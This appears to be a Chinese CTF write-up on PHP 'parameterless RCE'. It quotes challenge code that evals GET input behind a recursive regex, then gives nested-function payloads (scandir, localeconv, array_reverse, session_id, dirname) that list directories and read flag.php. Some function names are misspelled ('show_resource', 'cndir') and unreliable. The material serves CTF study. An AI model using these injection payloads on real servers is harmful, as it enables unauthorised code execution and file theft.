由一道题学习无参数RCE

由一道题学习无参数RCE

Scroll Down

由一道题学习无参数RCE

无参数RCE顾名思义,不能有参数,构造出可以RCE的语句
这里要求对php的相关函数比较熟悉QAQ只能再慢慢学习一下

当题目出现:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);} 

这里的(?R)会产生一种递归匹配,也就是匹配无参数的函数,内部可以一直往里嵌套(套娃)
例如

a()
a(b())
a(b(c()))
//a(b("123")) 不被允许

所以这里需要利用函数的返回值进行构造,这里也就需要配合一些数组相关的函数

end() -- 将内部值真指向数组中的最后一个元素并输出
next() -- 将内部值真指向数组中的下一个元素并输出
prev() -- 将内部值真指向数组中的上一个元素并输出
reset() -- 将内部值真指向数组中的第一个元素并输出
each() -- 返回当前元素的键名和键值,并将内部指针向前移动

array_reverse() -- 以相反元素顺序返回数组
array_rand() --从数组中随机取出一个或多个单元,得到的是索引
array_flip() --交换数组中的键和值

得到flag也就是需要通过RCE查看目录,再读取文件

GXY-CTF 禁止套娃

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
	if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
		if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp'])) {
			if (!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code)) {
				// echo $_GET['exp'];
				eval($_GET['exp']);
			}
			else{
				die("还差一点哦!");
			}
		}
		else{
			die("再好好想想!");
		}
	}
	else{
		die("还想读flag,臭弟弟!");
	}
}
// highlight_file(__FILE__);
?>

依旧照着RCE的思路,先尝试查看目录

print_r(scandir('.'))

这里需要 '.', 所以要利用一些方法进行构造

current(localeconv())

永远是一个点

这里要使用print_r能看到数组的内容

print_r(scandir(current(localeconv())));

得到当前目录

Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

接下来就是要读取flag.php
flag在数组中是第五个值,倒数第二个值
方法一:
将数组反转后利用next指向第二个

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
//=>flag.php

?exp=show_resource(next(array_reverse(scandir(current(localeconv())))));
//=>flag

读取flag的一些函数 file_get_contents() readfile() highlight_file(),以后根据题目的不同可以都试试

方法二:
利用array_rand()进行爆破,随机获取到数组中的索引
再用array_flip将键值进行交换

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

由于是随机取值,所以多刷新几次就会有flag.php

利用session_id

sessionId本身就可以是字母和数字,所以flag.php这样的形式是可以被允许的
相关函数

session_start() 告知php将使用session,返回bool值
session_id() 获取当前的session id

更改PHPSESSID后

?exp=print_r(session_id(session_start()))

taowa1.png

其他姿势

实验 后台代码

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

相关函数:

getcwd() 获取当前目录
dirname() 返回路径中的目录
dirname($path, $level) 可以通过第二个参数调整不同等级的目录
cndir() 改变当前目录

<?php
// 获取当前目录
echo getcwd() . "<br>";

// 改变目录
chdir("images");

// 获得当前目录
echo getcwd();
?>

文件读取思路:
?code=var_dump(getcwd()); 得到当前目录

?code=var_dump(scandir(getcwd())); 进行当前目录的目录遍历

?code=var_dump(dirname(getcwd())); 得到父目录名

?code=var_dump(scandir(dirname(getcwd()))); 扫父目录

?code=var_dump(scandir(dirname(dirname(getcwd())))); 套娃扫爷爷目录

其他的一些姿势可以在参考博客中了解,以后遇到新的题目也会再做记录

Reference

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
https://www.gem-love.com/ctf/530.html
https://www.cnblogs.com/tommy-huang/p/9439006.html